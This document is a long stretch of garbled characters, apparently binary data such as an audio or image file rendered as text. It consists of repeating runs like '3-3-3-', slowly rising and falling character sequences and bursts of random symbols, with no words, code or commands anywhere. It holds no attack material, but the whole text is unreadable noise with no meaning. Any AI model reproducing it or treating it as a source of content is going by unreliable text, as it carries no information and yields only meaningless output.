qn#yt:to:tn6vl-wk}qvyz{|}~¶öŸƺɼʽ˿ʾȾȼƼĺø~{~y{wyuwsurtpqnplojohlgjehcfad_a]_Z\X\XZVWTTQSPPMOMNKLIJGGECBA@@>><<;;9967553411//,,+*)''&$$""!      " $"&$'&*(,*--1/31537496:8=;><@>B@CAEDHFJHLJNLPMROTQVRXUZV\X^Z`\c^e`hcjekfnhoiqkrmsoupwryt{v~y~y{~øĹƺǼȽʾ˿ɾɼȻƹŸķµ~}|{zyww~u}t|s{qzpxovnvmulskqiqhpgnfnemdkbjah`f^e^e]c\bZaZ`Y`X^X^U\UZTYRXQXOVNVMTLSKSJQIPGOFNELDLCJAHAH@G>D>D=C<B<A;@:?9>8=7=6<5<4;3:19090705/4/4/3.3.3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-5,3-1.0/0/2.5,8+8)4,00)3$??Di%30/.+(5* ?e513*&_F/&;3.1.#>4D`'SW1%#<:F-#" 4KYUU'<#J+.4++[O#"?;H"g z-=L'a*/(1-02-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2,2,2,2,3-3-3-3-3.3.3-3.4/40516272:2<3=3>4?5@7?8A9B:C<C<C=E>E?F@GAHBICJDLEMFOHQIQJRKRLULVNVOXOXPZQ[S\T]U^V`W`YaZa[c\e_f`f`hajbkcldnfogqhrisjukvkwjxmxowttsvu!QooevU{q;yt~x}µĶŹƺǻȼʾ˿ɾȽƻŹùø|~z}yzwxtxsvqtpqnplokmilgjeibf`d_a]_[]YZXXUVSURSPRNNLLIJHIGHEFCCAA?><<:;8978564401//,.++*)'&%%$#"!      " %"'$)&+)-+/-2.30527396:8<9>;?=A@DBFDIFKGLIOKPMROSPURWSZV\X_Za\c^f_hbickemgnipkqlsnupwsyt{w}y~{||~·ĸźǼȽʾ˿ʾɽǻŹĸ·~}|zyxxv}u|s{rzryqwovmtltktkrjqhogmflejdjbicgaf_e^e]d\c[bZ`Y_X^V^U]T\R[QYQXPWOWNVLTKRJQIPGNGMELEKDJCICGAFAE@D?C>B<B<B:A:@8?7>5>5;382726251505/5/5/4.4.3-3-2,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-5,3-1./0//2.6,9+8)5,01(5$@@Fg"14,7+,4) >h.12(#d@& #48.5+(60>d+ZP)$:"J.BU(\.N#L%L ]WT&>#K+27.*XQ( @!Z?V/a;V-@)!@5//+1-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4.4.5/5161626373859697;7?9B8C9C:D<E=E=F>G@GAGAHCIDJELFMFNGOHPJQKSLUNWOXPXPYQ\R]S]T^U_V_X`YaZc[d\e]e^f_g`hbjdkelfnhphpiqjtlumunwoypzq|rr~rt{vxv =vs{W|~' ¶÷ĸŹǻȼɾ˿̿ɽȼƺŸ÷}{z}yzvxtxttrsprnplnjlhkfjehcf`d^b\_Z]YZWXUVSTRROONNLLJKHIFGDEBC@B?@<=;;8977462412/0-.+,)*'(&&$#!"      !$ %#'%)'+)-*.,1.3043638597;:><@>C@EBGCHEJGKIMJOLRNTPUQWSYU[V_Ya\d^g`hbhdkemgmiokqmsouqvsxuyv{w}y{~·ĸźǻɽɾ˾˿ɽɽȼǺŹĸöµ~}}{zxww~v}u|s{qzpzpwovntlslqjpiphohmglekcjbiai`g_e^e]d[cZbYaX`W_V^V]U]S\RZQXPWOVMTLSKQJOIOHMGMGLFLFKEJDJCIAG?G?F=F<D;D:B:>8=8<7;5:4939393828160605/5.3-4-3-4-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,3,3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,5,4-1./0/00/5-:+8*5-.0%2"@@Ej%26(<(23+ At9-1a:*A+3,5D5:c#XN&:!:NSY&i ; I \ XO">!T#8,6%`Q' H0I +'!t aK%29*8*6,4-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4-4.6/606/70708193:4:6;7<8=9=9=:>;><@<D>F>H?H@IAJBJCJDKELFLGMHNIPKQKSKTLUMVOXOZQ\R]S^U_U`WbWbXbYcZd\e\f^h^i`jakbldlemfngpiqjrlslumwowpzq{r{s}tuux{yz}x}{Xk}3øĸƹƻȼɽʾ˿ο̾˼ɻǹŸö}{z}x{txsvrtproqnnklilhkfhdfbe`d_c]`[]Y[WXTVSTQROPMMLKIHHGGFDDBDAB>@<=;;9:77562412/0-.,-*+((&&#$!# !      ! #"%#&%)(++,-/.0/315486:8<:>;?=B>D@IBLEIDMJOLLJQOPM TO UQ VR[W`[a]a^b_dafbgdigkhmiplqnrotqvrxt{w}yz|~ķƹǻɼ˼˽̾Ϳ̾˽˽ȻǺƸŷö´~}|{xwwv~t}t{rzqypwovnvmtltjsirhqgofnemdkbjai`h_g^f]e\c[bZbYaX_W^V^U]S\Q[QZPWOWOWMTNRMQLPJPJOIOGMFMELDKBJBJ@H@E?E>D>C<B;B:A:?9?8>7=6<5<5;3829170806/6/5/5.5-5-5-3-2,4,4,4,4-3-3,4-2+2+3+3,2,2,3+3,5,5,3,3,3-3-3-3-3-2-2-2-3-4.3-3-3-3-3-3-4.4.4.4.4.4.4-5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5-5-5-5-5-5-4-3-3-3-3-3-3-3-3-3-3-3-3-3-4-5,5,5,5,5,5,5,5,5,5,5,5,5,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,3,3,3,3,3,3,3,3,3,3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4,7*5*2-./,1.01-5+8-2*./*5#;ACe*43*:*32*~ B M@V:H"kELpL%8S#VS'!<;wK"hF Qo*H! X VG=u G G0U* yJ7;cUX-=$B4-/0/.2-3-3-3-3-3-3-3-3-3-3-3-3-3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3-3-3-3-3-3-3-3-3-3-3,3,3,3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,4+4,5,5,5,5,5,5,5-5-4-4,3,2,2,2,2-2-3-3,3,3,3,3,3,3,3,3,3,3,3,2,2,2,3-4-5-5-5.5-4-4-5-5.5.6/6/7081:293;4;5=5=6>7>7?8@:A;B;D=D>E?E@FAGBGBJDLEMENFOGPIPJRKSMTMUNVNWOYQYQZRZS\S^U_U_WaXbYcZe[f\g\h^i_i`jbkbldoeofpgrhsjtkukulxnypzqzq|r}t~uvwxyz{} `ɽǬv:·øĸźŻȼʾ˿Ϳ̾̽ɼȻƹķ¶|zy|wztzswrvornolnklikhhffceac`a^`\^Z\XZWXUVSSQQOONMLLJJHGFDBAAA@?>>==:;7957452300..++))'(%'%%##!!   ##%%'(()*+-+/.3042738698;9>:C<D=HCDCIJGFBAGEJFLHPN TRWUWUYW[Y]Z_\a^b`dafdjflhmiokpmsnuqvsxt{v}wy{}µĶŷƹȻɽʽʾͿ̿˽ɼǻǺŹķö}||{yxwuu}t|s|r{qzpynynxmvktjsirhpgofoemdjbjbi`i`h^f]d\c[c[bXbXaV_V^U^T]SZSXRWQVPUNUNTMSLQKPJOHOHNFMELDKDKDJBIAI@G?F?E=D<D<C;B9A8?8>7>6=5;4:492929281807/5.5.5.5.4.3-2,2,3,3,3,2,2,2,3+5,5,5,4,3,3-3-3-3-3-2-2-2-2-3-3-3-3-3-3-3-3-3-3-3-3-3-4,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5-5-5-5-5-5-4-3-3-3-3-3-3-3-3-3-3-3-3-3-4,5,5,5,5,5,5,5,5,5,5,5,5,5,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,3,3,3,3,3,3,3,3,3,3,3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-5,7*6+2-//-0./2.5,6+5.,-'2'A;>j262,6-0/3{AD DL%],tV/K*FIT-N* i >)Rd6*y8#iGU-A>B K*6INI H$J%BCb4S)]H, S.I%?J \/5&H82+,0/3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3-3-3-3-3-3-3-3-3-3,3,3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,4,5,5,5,5,5,5,5,5-5-5-4-3,2-2-2-2-2-3-3-3,3-3,3-3-3,3,2+2+2+2,2,2,2,3-4.6/6/6/707081819293:4:5<6>7?8?8@:@:A;C<E=E>F>G@HAJAKBKCLELEMGMGNHPIQKQKSLTMUNVOYQZR[T\S]T_U_V`X`X`XbYcZd\e\h^h_i`kambmbndoeofpgqhsiukukvlxmzozo{p|q}suvwxxz{|}~Vp1¶øĸƺǻȼɽʾ˿ʾɽȼǻǺŹĸ}{z|xzvytxsuqtosnrlpjlhiggefcdaa_`]^[[YYVXTWSURRPOONNLLKJIHGGEDDBA@?>>==;;8977462301./--+*)'%%$#!"      ""$$&%((+*-,/-1/214274;6;7@>9:>?@? QQ%b`;b_=a]7WT"LI NLQOSPTRVSWTYWZY][_]b^eafahdjflhmjokpmsnvpxsxtzu|wy{|~¶øźƻƽȾʿ˿ʾɾȼǻŹĸķµ´~}|{zyxwvtt}s|q{pzpxnwmvltksjqiqhpgpfneldkckbjai_h^f]e\d[dZbZ`Y_X^W]V\U\TYSYRXRWPVOVNULSLRKQJQJPHOGNGMFLDLCKBJBJAI@G?F>F>D=C=B<A:A:A:?9>7=6;5;5<3;29281706/6/6/6/5.4.3.4-4,4+4+4+5,5,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4,3,2.1.2.4-8*9'8'6./4%7C5 :g..1/,.03=h<8W*i=5g<!a E*g>e6J"b?!75Je9[/="% S0V/V+4d =4?>yX2W2R,@ O&/:*=(9*4,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4.4.4.4.4.4.4.3-3-3-3-3-3-3-3-3-3-3-3-3-3.3.3.2-3-3-3-3-3-3-4-5-5-5-4.4.6.7/7070708192;4<4=5>7>7?8@9@9A:B;B<C=E=E>F>G@G@HAJBKBLCMDMENFOGPIQIRKRLSMTNTNVPXQXQZR[T\U]V`WaXbZbYcZd[e\f^f^f_h`h`kbkcmdoepgqhriuitjtlvmwmxnzp|q|r}r~tuvwxz||}~;jqMõ÷ĸŸƹȼɽʾʿ˿̾ɽȼǻŹĸ÷}|z|xzvytxsvqtnqmqlojmhkfjeidfab_`]^\]Z\XYVWTVRTPRORNQLOKKIFFDDCCBA@?>==;;:967574513/2-.+,**((&'$$""      #!%$(&)'**++/-0/3/52446758OO'||]po~gsoNYV*HEHFLJOKQNRNUPVSXUZV\Y_Z`[b]e_fbgdjdkfmhojqlsmuowqyrzu~v}x~y|}¹ŻǼȽʾ˿ʿ˾ɽǻƺƹķ¶´~}|zyxxv~u~t|s{rzqxpwownumtkskqiqhognfnemdlckbjaj`h`e_d^d]c\a[`Z`Y_X^W]V\UZS[SYRXRWQVOUOTMSMRLQKQJPINHNFMFMEKEKEJCHBGAG@F?E>D>C=B<B;B;A:A:?9>8=7<6;5:3:392827281807.6.6.5.5.4.4-4.4-4-3-2,2,2,3-3-3-3-4.4.3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3.2.2.3-7,9*7)70*1 8@ L+ 3r?@<&5#9?@MB8+6!:=HM>85(2/G>+.30(2<MPF9*42.4.*5;C JP>'6*0,2'/%9HPK="5.08)@(<)5,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4.4.4.4.3-3-3-3-3-3-3-3-3.3.2.2-3.3.4.4.5/505060708081:3:3:3;4<5=7=8@8@9A9B;C<D=D>D>D?E?G@FAHBICJDJDKEMFLFNGOHOIQIQKSKTMTNUOVPXPXRYSZT[T\V\W_X_X`Za[c[d]e^f_h_h`iajcjckdkenfogphpirjtktlwmxnynypzr{r|s}uvvxyy{|}~6GQM?*¶ĸŸƺǻɼʽʾ˾ʼɺƺĸ··~|{}y{xyvxtvqtpsnrmpknikflfidgbf`d^c]_[[YZWXVXTVRTPRNQLOJLILGIEGDDBB@@>><=;:9978553412.1-/+-*+'(&&$$!# !       !#"$#%&(&((*)+++,029:tsX~~msoSLI!?=FDJFKHLIOKQMRNSOVRXTZV\W^Y_[`]c^e_faidjemgoiqksmtowpwrwrxt{v}x~z|~·Źƹǻɼ˽˾˿ʾɼǻƹŸ¶¶~}|{yyxv~v}t|tzryqypwovmumtktkskriqhpgpfofkdjdichbgaf`e_e^d]c\b[aZaX`X^W]V\V[UZSYSXRWPWOUNTMTMSLRKQJPJOINHMGLFLEJDJDICIBIBHBG@F?F>E>D=C<B;A9@9?9?8>8?7>6<4;3:392817170707/6/5.3.3-3.3.3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3.3.4-5-7-6,3.-59TAs/w)49&+&z5x%A*2.0-0,1'.011,/,.0-507430-.-0/0>9p%Q-56-8,5,-/'2*3/1817*:-2+/2'3)6-00,2-2-30.,0/401//2*4&1+/707&9*4,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2-2-2-2-2-2-2-2-2-2-2-2-2-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2-2-2-2-2-2-2-2-2-2-2-2-2.2-3-3,3,3,3,3,3,3,3,3,3,3,3,3,3-3-3-3-3-3-2-2,2-3.3.3/3/4/4/5/51718292:4:4;4;5<5=6>7>8?9@:A:B;C<D=F>F?G?HAHAIBJCJDJDKEMELGNGOIOIPJPKSLRMTMUNVOXOXQZR[T[T\U\V^W^X_Y`Za[b\c]e]f_f_g`iajbkdldnenfogpiqjqjrktltmvnvowpypzr|r}t~tvwxy{||}  ¶øƹƺǻɽʽ˿˿ʾɽȼǺƹŸĶ~{|x|xyvwtussqroqnpknjmhlgjeicf`e_c]`[_Y]X\VZUVSUQSPSOPLNKLIKFHCEBE@B>@<?;<:;8967453402//,.),(*&)%'#$ !     " ""$%$%&'()AB&zzzyfSR3:7 ?=B?DAFCHDJFLGMIPLRMSOUPWRXSYV[X^Y_[b]d^eahcjelfmhojpkplroupwrxtzv}w~xz|}¶÷ŸŹǺǻɽʾ˿̿˾ɼȻƺŹŸø~~}{zzxxv}u}t{s{r{qyqyoxnwmwmulqkpjoiohnglflekejdibiag`g_f^d^d]c]b[aZaY`X^W]U\U[TZSZRYQWQVPVOUNTMSMRKPJPJOIOHNHMHMELELDKDJBIBIBG@F@F?F>E=E=C;C;B:@9@8>7=7=6=5<4<4;382817161515050404/4.3.3-3.3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2-2-2-2-2-2-2-2,2,2,2,2,2,3-3-3-3-3-3-3,3,3,3,3,3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2-2-2-2-2-2-2-2-2-2-2-2-2-2-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,3,3,3,3,3,3,3,3,3,3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-4-4-4-5-5-6-4/13%6Sy*tFc8Y/R*P(S*[0Z.d53K0.7+3(3):- /)-0-.5.;09-9,6*5,1,=Km9>h.08*:+6*6/2../-0..2.1-00-0/0.+2,4+4)7-5+2+6.;(<%7&0-.4+-4/5+7-3,3,3,3,3,3,3,3,3,3,3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2-2-2-2-2-2-2-2-2-2-2-2-2-2-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,3,3,3,3,2,2,2,2-2-2-2-2-2-2-2-2-2-2-3-3-3-3-3-3-3-4-4-4.4-4.4-4-4.4-5.5/5/6/606/60707172828393;5;6=7>7>8@:@:A;B;C<D=D>D>E?F?G@IAJBJCLDLELEMFMGOHOIPJPKQKSLRMTNUNVOVPWRYSYS[T[T\U^U]W`XaYaZb[c]e]d^e_f`gahbickdlelfmgohphqjskululvmwoxpxqxq{rzs}t}u~vvxxz{|}~µĶ÷Ÿƺǻɼɽ˿ʾɼȼƺŹĸ÷µ~|y|w|vzuxtvrropnnllkkiigjegdfad`c^b\_Z]Y\VZUXSVRTORNOMNKLILHIFGCEBD@B>?=?;<8:68553512/1./,-*+((&(#%!# "!       !II5̹{{kVU;42 97;9=:?=@>B@DBGCJFLGMIOKPLQNTPURWTXUZW\Y^Za]d^e`ebhcjekglhnipkqlsnupxqzs{u|w}yz|~÷ŸƹȺʻͽϾϿ̿˿ʾȽǽŻĸô³~~}|{zxxww~u}t}s}r{qxpwpvoumslskrkqjqipgoflendldkcjbibh`f_g^e]d\c[bZaX`X`X`W^W^V]U\T[TZTYRWQWOUNUMSMSLSLRLRJPIOGOGNFMELELDKCJBJAIAH?G@G?F>E=D=B<B:B9A9A7>7=7<7:6:695948383726170617061604.3.3.3.3-3-3.3-3-3-3-3-3-3-3-2-2-2-2-2-2-2,2,2,2,2,2,2,3-3-3-3-3-3,3,3,3,3,3,3,3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-2-2-2-2-2-2-2-2-2-2-2-2-2-2-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,3,3,3,3,3,3,3,3,3,3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-5-5-5-5-5-5-3//2(7,L 'Z di i h g e c *V+64-8+5+3):)1,%3(3..:,<+6+6-4,3//:)W)H4-;+6,41.,3../+3,2+/-1*/+30/1*3/-)3)3(9-6-6-8)8(6*/,02.+2.3.2-3,3,3,3,3,3,3,3,3,3,3,3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-2-2-2-2-2-2-2-2-2-2-2-2-2-2-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,3,3,3,3,3,2,2,2,2,2-2-2-2-2-2-2-2.2-2.3-3-3-3-3-3-4.5/5/50505050608081819393:4;5;6;6<7<7=8>8?9@9B;A;C<C<D=E>E?G?GAIBIBJCKDKDMEMENFOHOHRIRJSKTLTMVNVOWPXQYRZRZT[T[T\U^W^W`X`XaYbZc[d\e]f^f_g`iajbjbkdlelfmgnhphqirjsktlvmvnyozpzp{q|s}t~v~v~wxxzz{|~~¶÷Ÿƺǻȼɽʾ˿ʾȽǼŹŹĸ¶}|{~y}v{uyswqvpsnplokmjlhjggffddab_`]_[^Z[XZVXTWSUQTORMPLMJLHIGFEECEBC@@=>;<9:8968473512//--++)*((&&$%"#!!      BA0~už­wxfEE)..21437486:8<;=;@=B@EAFBGDHFJHMJOLPMROTQUSWTYW\X]Y^[b]d^f`hbicjekfmhojqkrlsnuqvrxszu}wxz{}µĶǸɸɹɺ̺νϿʾɻȸ ƸŸ¶~}|{zxxxv~u}t|szr{pyqxownwmwmtltkrjriqhohpgmeneldkbjahai`h_g^e]d]d\c[bYaYaYaY^X_V]U]U[T[SZQXQXOWOVNVMUMSKRKRKRJPIQIOGMFMFMELDKCJCHAIAIAG@H?F>E>C>B>A<@<@;?:?9?9>9>8=7=7<6<5;5:393928181818170706/5.5.3-4.4.4.3-3-3-3-2,2,3-3-3-3,3,3-3-3-3-3-3,3,3,3,3,3+3+3+3,3,3,3,3,3,3,3,3,3,3,3,3,4-3,3,3,3,3,3,3,2+2+2+2+2+2+2+3,3,3,3,3,3,3,2+3,3,3,3,3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-2,2,2,2,2,2,2,3-3-3-3-3-3-3-3-3-3-4-5,5,5,4-1/,2%5!9<< :"9"6&4-/3+7+6,2.0.7+2-(3$5'30/5,3+2,/-0.,2!7)27(8)3,/-/,4+5,4.4.4.4.4-4-5+3)1+.*0)2)7+8-5../+/*.--1+2+2,1-2-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,2+2+3,3,3,3,3,3,3-3-3-3-3-3-3-3-3-3-3-3-2,2,3-3-3-4.4.2,2,3-3-4/4.4/707070718192929293:4;5;5<6<6>7>7?8@9@9A;A;B<B=C>D?D?E@F@GAIAIBJBJCLDLEMFNFNHOIOIPJQKRKTKTLUMVNVNXOXQZQZQ[S\T\T]V_W`XaYbZbZbZc[d\e]f^g_g_hajbkblcmdmenfpgqhrirjsktltmtmwnxoypzp{q|s~uuvwxyz{{|}~  óijöķŸƺǻȼȼɾʿ˿ʾɽȼƼƺŸ·}{y}wzvytxsvqvptnqkpjoimhkfjehce`c_b^_\][ZXYVXUVTURSOPNOMNKLIJGHFFCCBA@?>>==;98878553322/1./,-*+)'&&$$"#!!       '$WUK~z{|nQR<&' %&*),+--//20537496;9<;=<@=B?CADDEEHGIHKKNMOMROSQUSWUXV\WaZc\d]e^f`hbidjelfnhoipkqlsnuoxqys|u}vx{}µõŷȹɻȼɽʾʾ˿ͿννξȺƹǹƷô~~{{zzxwwvt~s}r}r|q{pyoxnwmvluktjsirhpgpfpfpendlckbkbjai`h_g^f^e]e\d[cZbYaYaX_X_V^V^U^T\SZQZPYPXPWNXNVNUMTLSLSKQJPIPHOGOGNFNELDKDJDJDICICHBHAHAF?F>E=E=D<D<B;A:?:@9>8>7>7=6>6<6=4<4;3<3:292717171717/5/6/6/5.5.4.5-4.4.4.4-4-3-3,3-4-4-3,3,3,3,3,4-4-4-3,3,3,3,3-3,3-3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,2+3,3,3,3,3,3,3-3-3-3-3-3-3-4.4.4.4.4.4.4.4.4.4.4.4.4.4.4.4.4.4.4.4.3-3-3-3-4,5,5,5,5,5,4,3-2.1.0.2-4+8)8)6*5,4-1.3-:)8+0/*2(10/5,6*2+/,0,1-./1-4*0,,/..1,4*7*9+8,7-7-8+9)8)6)3*0+.-0,3-5-3/00.0//1-5,5,3.001/3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,3,3,3,3,3,4-4-4-4-4-4-4-3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3-3,3-3,3,2,3+3,3,3-3-3-3,3,3,4-4-4-4-4-4-4.4.4.4.4.5.6/6/6/70618171829394;4;4;6=6=7>7=8?8>9?9?:?;A:@<B<C=E>F>G@G?HAHAHBHBICICJDKEKFMFOGOGPHQIQJQKRLTLTMUNVOVOVOXQZR[Q\S\S^T]U^U^V`WaXaXcYcZe\e]e]f^g_i_h`jakbkblcnepfqgqhqhsiuitkvlwmwnwnyozq{q|r}s~tuvvwyzz{}~~~ ® ñĹżƹƹȼȾɿ̾ɽȼƻƺŸ÷·|{zx~v{tyrwqtotnqlpkohlglejdhbg`e_c]`[_Y^X[VYUVTTSRQPOONMLJJIHHFEDCBB@???=<;;99877753211/.-,+*(((&%$%##!!       '%MLEaa\ba\gh_IJ9#%  ##$#&%(()),+.-0.3/52646597;8;:<=??@@BADCGEIHKIMLNMPOSPUQYS[T\V^W^Ya\c]e_f`gbidjekflhnipkqlsmuowqzs}uwyz|}¶÷ĸŹźǼɽʾʾҼѻɹźŹĸöµ~}|{yyxwvu~t}t}s|q{pzpynxmwmwmwlujsjsirirhpgofoendlclckbjai`h_f]e]e\d[cZcZbYaXaW`W_V^U^T]U[T[SZRZRXQXPWOUNUNTMULRKRKQJPJPIOHOHNGMFMEMELDLCKBKAJAIAFAH@E?F>E>D>E=C<D<C;C;C9A:?8>8>7>7=7>6<6<4<4;3<2:2;19292818181707/7/7/7/6-6-6-6-5-5-4,4-4,4,4,5-5-5-5-5-5-5-4,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2,2,2,2,2,2,2,5,5,3-3-3-3.2.2-3-5,6+8*9)5*0,2,4+7+5,0///1.4+9)?&?(9,3,1+7+;+:*7*2*2*4+4-3.1/)2%3-14-5,6,7,6+5+5+6+8*8*7+6,2.,0-//./.2.:+>(=(7)2+3*2-/0003-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,3,3,3,3,4-4-4-4-4-4-4-3-3-3-3-3-3-3-3-3-3-3-3-3-4-5-5-5-5-5.5-5-5-5-5.6-6.6.6.6.7.7/70707081718182929292;4;4=4<4=5=5=6?8>8?9@:@:B;B;C=D=D=E=E>F?F?F?G@GBIBHCJCKCKCLDLEM